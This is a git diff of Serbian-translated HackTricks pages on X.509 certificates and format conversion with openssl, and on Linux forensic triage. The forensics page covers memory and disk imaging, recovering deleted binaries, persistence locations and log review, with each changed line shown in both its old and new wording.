* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Šta je Sertifikat
|
||||
|
||||
**Javni ključni sertifikat** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
|
||||
**Sertifikat javnog ključa** je digitalni ID koji se koristi u kriptografiji da bi se dokazalo da neko poseduje javni ključ. Uključuje detalje ključa, identitet vlasnika (subjekta) i digitalni potpis od pouzdane autoritete (izdavaoca). Ako softver veruje izdavaocu i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
|
||||
|
||||
Sertifikati se uglavnom izdaju od strane [sertifikacionih autoriteta](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnih ključeva](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280.
|
||||
Sertifikati se uglavnom izdaju od strane [autoriteta za sertifikaciju](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) u postavci [infrastrukture javnog ključa](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Drugi metod je [mreža poverenja](https://en.wikipedia.org/wiki/Web\_of\_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi za specifične potrebe kako je opisano u RFC 5280.
|
||||
|
||||
## x509 Zajednička Polja
|
||||
## Zajednička Polja x509
|
||||
|
||||
### **Zajednička Polja u x509 Sertifikatima**
|
||||
|
||||
U x509 sertifikatima, nekoliko **polja** igraju ključne uloge u osiguravanju validnosti i sigurnosti sertifikata. Evo razbijanja ovih polja:
|
||||
|
||||
* **Broj Verzije** označava verziju formata x509.
|
||||
* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacionog Autoriteta (CA), uglavnom za praćenje opoziva.
|
||||
* **Seriski Broj** jedinstveno identifikuje sertifikat unutar sistema Autoriteta za Sertifikaciju (CA), uglavnom za praćenje opoziva.
|
||||
* Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su:
|
||||
* **Uobičajeno Ime (CN)**: Domeni obuhvaćeni sertifikatom.
|
||||
* **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)** i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje.
|
||||
* **Distingovano Ime (DN)** obuhvata punu identifikaciju subjekta.
|
||||
* **Izdavaoc** detalji ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekat za CA.
|
||||
* **Period Važenja** obeležen je vremenskim oznakama **Nije Pre** i **Nije Posle**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma.
|
||||
* Odeljak **Javni Ključ**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
|
||||
* Odeljak **Javnog Ključa**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
|
||||
* **x509v3 proširenja** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu Ključa**, **Proširenu Upotrebu Ključa**, **Alternativno Ime Subjekta** i druge osobine za fino podešavanje primene sertifikata.
|
||||
|
||||
#### **Upotreba Ključa i Proširenja**
|
||||
|
||||
* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključa.
|
||||
* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključem.
|
||||
* **Proširena Upotreba Ključa** dodatno sužava slučajeve upotrebe sertifikata, npr. za autentikaciju TLS servera.
|
||||
* **Alternativno Ime Subjekta** i **Osnovno Ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta.
|
||||
* Identifikatori poput **Identifikatora Ključa Subjekta** i **Identifikatora Ključa Autoriteta** osiguravaju jedinstvenost i mogućnost praćenja ključeva.
|
||||
* **Pristup Informacijama Autoriteta** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata.
|
||||
* **CT Pre-sertifikat SCT-ovi** nude transparentne dnevnike, ključne za javno poverenje u sertifikat.
|
||||
* **Pristup Informacijama o Autoritetu** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata.
|
||||
* **CT Pre-sertifikat SCT-ovi** nude transparentne logove, ključne za javno poverenje u sertifikat.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -74,27 +74,27 @@ print(f"Issuer: {issuer}")
|
|||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Razlika između OCSP i CRL Distribution Points**
|
||||
### **Razlika između OCSP i CRL distributivnih tačaka**
|
||||
|
||||
**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji zajedno proveravaju da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem punog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu povučenih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja dostupno je [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
|
||||
### **Šta je Transparentnost sertifikata**
|
||||
|
||||
Transparentnost sertifikata pomaže u borbi protiv pretnji vezanih za sertifikate osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su:
|
||||
Transparentnost sertifikata pomaže u borbi protiv pretnji povezanih sa sertifikatima osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ovima i korisnicima. Njeni ciljevi su:
|
||||
|
||||
* Sprječavanje CA da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
|
||||
* Sprječavanje CA-ova da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
|
||||
* Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata.
|
||||
* Zaštita korisnika od lažnih sertifikata.
|
||||
|
||||
#### **Sertifikatni zapisi**
|
||||
|
||||
Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih pretraživati radi verifikacije. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih ima manje od hiljadu globalno. Ovi serveri mogu biti nezavisno upravljani od strane CA, ISP-ova ili bilo koje zainteresovane strane.
|
||||
Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih upitati za verifikaciju. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih globalno bude manje od hiljadu. Ovi serveri mogu biti nezavisno upravljani od strane CA-ova, ISP-ova ili bilo koje zainteresovane entitete.
|
||||
|
||||
#### **Upit**
|
||||
|
||||
Za istraživanje sertifikata Transparentnosti posetite [https://crt.sh/](https://crt.sh).
|
||||
Za istraživanje sertifikatnih zapisa Transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Postoje različiti formati za čuvanje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih.
|
||||
Različiti formati postoje za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih.
|
||||
|
||||
## **Formati**
|
||||
|
||||
|
@ -102,21 +102,21 @@ Postoje različiti formati za čuvanje sertifikata, svaki sa svojim slučajevima
|
|||
|
||||
* Najčešće korišćen format za sertifikate.
|
||||
* Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
|
||||
* Uobičajene ekstenzije: .cer, .crt, .pem, .key.
|
||||
* Česte ekstenzije: .cer, .crt, .pem, .key.
|
||||
* Prvenstveno korišćen od strane Apache i sličnih servera.
|
||||
|
||||
### **DER Format**
|
||||
|
||||
* Binarni format sertifikata.
|
||||
* Nedostaje "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama.
|
||||
* Uobičajene ekstenzije: .cer, .der.
|
||||
* Česte ekstenzije: .cer, .der.
|
||||
* Često korišćen sa Java platformama.
|
||||
|
||||
### **P7B/PKCS#7 Format**
|
||||
|
||||
* Čuvaju se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
|
||||
* Sadrže samo sertifikate i lanac sertifikata, isključujući privatni ključ.
|
||||
* Podržano od strane Microsoft Windows i Java Tomcat.
|
||||
* Skladišten u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
|
||||
* Sadrži samo sertifikate i lanac sertifikata, isključujući privatni ključ.
|
||||
* Podržan od strane Microsoft Windows i Java Tomcat.
|
||||
|
||||
### **PFX/P12/PKCS#12 Format**
|
||||
|
||||
|
@ -126,7 +126,7 @@ Postoje različiti formati za čuvanje sertifikata, svaki sa svojim slučajevima
|
|||
|
||||
### **Konvertovanje formata**
|
||||
|
||||
**PEM konverzije** su bitne za kompatibilnost:
|
||||
**PEM konverzije** su esencijalne za kompatibilnost:
|
||||
|
||||
* **x509 u PEM**
|
||||
```bash
|
||||
|
@ -174,11 +174,11 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
|
|||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -188,7 +188,7 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# Forenzika na Linuxu
|
||||
# Linux Forenzičarstvo
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -14,9 +14,9 @@ Pristupite danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -26,7 +26,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
### Osnovne informacije
|
||||
|
||||
Pre svega, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno uzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib_ i _/lib64_), zatim montirajte USB, i izmenite okružne promenljive da biste koristili te binarne fajlove:
|
||||
Pre svega, preporučuje se da imate neki **USB** sa **poznatim dobrim binarnim fajlovima i bibliotekama na njemu** (možete jednostavno uzeti ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB, i izmenite env promenljive da koriste te binarne fajlove:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
|
@ -51,7 +51,7 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
```
|
||||
#### Sumnjive informacije
|
||||
|
||||
Prilikom dobijanja osnovnih informacija trebalo bi da proverite čudne stvari kao što su:
|
||||
Prilikom dobijanja osnovnih informacija trebalo bi proveriti čudne stvari kao što su:
|
||||
|
||||
- **Root procesi** obično se izvršavaju sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
|
||||
- Proverite **registrovane prijave** korisnika bez ljuske unutar `/etc/passwd`
|
||||
|
@ -63,7 +63,7 @@ Za dobijanje memorije pokrenutog sistema, preporučuje se korišćenje [**LiME**
|
|||
Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi mašina žrtva.
|
||||
|
||||
{% hint style="info" %}
|
||||
Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će napraviti nekoliko promena na njoj
|
||||
Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će to izvršiti nekoliko promena na njoj
|
||||
{% endhint %}
|
||||
|
||||
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
|
||||
|
@ -84,8 +84,8 @@ LiME takođe može biti korišćen za **slanje ispisa putem mreže** umesto čuv
|
|||
|
||||
#### Gašenje
|
||||
|
||||
Prvo, moraćete **ugasiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da priušti da isključi.\
|
||||
Postoje **2 načina** gašenja sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će omogućiti **procesima da se završe kao i obično** i **datotečnom sistemu** da se **sinhronizuje**, ali će takođe omogućiti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti mnogo izgubljenih informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da bilo šta uradi povodom toga. Stoga, ako **sumnjate** da može biti **malvera**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač.
|
||||
Prvo, moraćete **ugasiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da si priušti da isključi.\
|
||||
Postoje **2 načina** za gašenje sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će dozvoliti **procesima da se završe kao i obično** i **datotečni sistem** da se **sinhronizuje**, ali će takođe dozvoliti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti mnogo izgubljenih informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da uradi bilo šta povodom toga. Stoga, ako **sumnjate** da može biti **malvera**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač.
|
||||
|
||||
#### Pravljenje slike diska
|
||||
|
||||
|
@ -153,7 +153,7 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -201,7 +201,7 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
|||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -217,7 +217,7 @@ cd /proc/3746/ #PID with the exec file deleted
|
|||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||
```
|
||||
## Pregled lokacija automatskog pokretanja
|
||||
## Pregled lokacija za automatsko pokretanje
|
||||
|
||||
### Zakazani zadaci
|
||||
```bash
|
||||
|
@ -235,90 +235,90 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
|
|||
```
|
||||
### Servisi
|
||||
|
||||
Putanje gde se zlonamerni softver može instalirati kao servis:
|
||||
Putanje gde se malver može instalirati kao servis:
|
||||
|
||||
* **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje.
|
||||
* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ove potonje nalaze u starijim verzijama Linuxa.
|
||||
* **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje.
|
||||
* Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, zavisno od varijante Linuxa.
|
||||
* **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa.
|
||||
* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou.
|
||||
* **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana.
|
||||
* **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za zlonamerni softver usmeren ka korisniku.
|
||||
* **/lib/systemd/system/**: Podrazumevane sistemski široko dostupne datoteke jedinica koje pružaju instalirani paketi.
|
||||
- **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje.
|
||||
- **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se ova druga nalazi u starijim verzijama Linuxa.
|
||||
- **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje.
|
||||
- Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, zavisno od varijante Linuxa.
|
||||
- **/etc/systemd/system**: Direktorijum za sistemske i skripte za upravljanje servisima.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou.
|
||||
- **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana.
|
||||
- **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za malver usmeren ka korisniku.
|
||||
- **/lib/systemd/system/**: Sistemski podrazumevani unit fajlovi koje pružaju instalirani paketi.
|
||||
|
||||
### Kernel Moduli
|
||||
|
||||
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i datoteke ključni za ove module uključuju:
|
||||
Linux kernel moduli, često korišćeni od strane malvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i fajlovi od suštinskog značaja za ove module uključuju:
|
||||
|
||||
* **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela.
|
||||
* **/etc/modprobe.d**: Sadrži konfiguracione datoteke za kontrolu učitavanja modula.
|
||||
* **/etc/modprobe** i **/etc/modprobe.conf**: Datoteke za globalna podešavanja modula.
|
||||
- **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela.
|
||||
- **/etc/modprobe.d**: Sadrži konfiguracione fajlove za kontrolu učitavanja modula.
|
||||
- **/etc/modprobe** i **/etc/modprobe.conf**: Fajlovi za globalna podešavanja modula.
|
||||
|
||||
### Ostale Lokacije za Automatsko Pokretanje
|
||||
|
||||
Linux koristi različite datoteke za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući zlonamerni softver:
|
||||
Linux koristi različite fajlove za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući malver:
|
||||
|
||||
* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom svake prijave korisnika.
|
||||
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Datoteke specifične za korisnika koje se pokreću prilikom njihove prijave.
|
||||
* **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju.
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom svake prijave korisnika.
|
||||
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Fajlovi specifični za korisnika koji se pokreću prilikom njihove prijave.
|
||||
- **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju.
|
||||
|
||||
## Pregledajte Logove
|
||||
|
||||
Linux sistemi prate aktivnosti korisnika i događaje sistema putem različitih log datoteka. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih sigurnosnih incidenata. Ključne log datoteke uključuju:
|
||||
Linux sistemi prate aktivnosti korisnika i događaje na sistemu putem različitih log fajlova. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija malverom i drugih sigurnosnih incidenata. Ključni log fajlovi uključuju:
|
||||
|
||||
* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti.
|
||||
* **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
|
||||
* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja.
|
||||
* **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
|
||||
* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje usluga povezanih sa email-om.
|
||||
* **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja.
|
||||
* **/var/log/dmesg**: Drži poruke upravljača uređaja.
|
||||
* **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istraživanju sigurnosnih incidenata.
|
||||
* **/var/log/cron**: Beleži izvršavanja cron poslova.
|
||||
* **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa.
|
||||
* **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave.
|
||||
* **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
|
||||
* **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
|
||||
* **/var/log/xferlog**: Zapisuje FTP prenose fajlova.
|
||||
* **/var/log/**: Uvek proverite ovde za neočekivane logove.
|
||||
- **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti.
|
||||
- **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
|
||||
- Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja.
|
||||
- **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
|
||||
- **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje servisa povezanih sa email-om.
|
||||
- **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja.
|
||||
- **/var/log/dmesg**: Drži poruke drajvera uređaja.
|
||||
- **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istrazi sigurnosnih prekršaja.
|
||||
- **/var/log/cron**: Beleži izvršavanja cron poslova.
|
||||
- **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa.
|
||||
- **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave.
|
||||
- **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
|
||||
- **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
|
||||
- **/var/log/xferlog**: Zabeležava FTP prenose fajlova.
|
||||
- **/var/log/**: Uvek proverite ovde za neočekivane logove.
|
||||
|
||||
{% hint style="info" %}
|
||||
Linux sistemi logove i podsisteme za reviziju mogu biti onemogućeni ili obrisani u slučaju upada ili zlonamernog softvera. Pošto logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log datoteka, važno je tražiti praznine ili vanredne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||
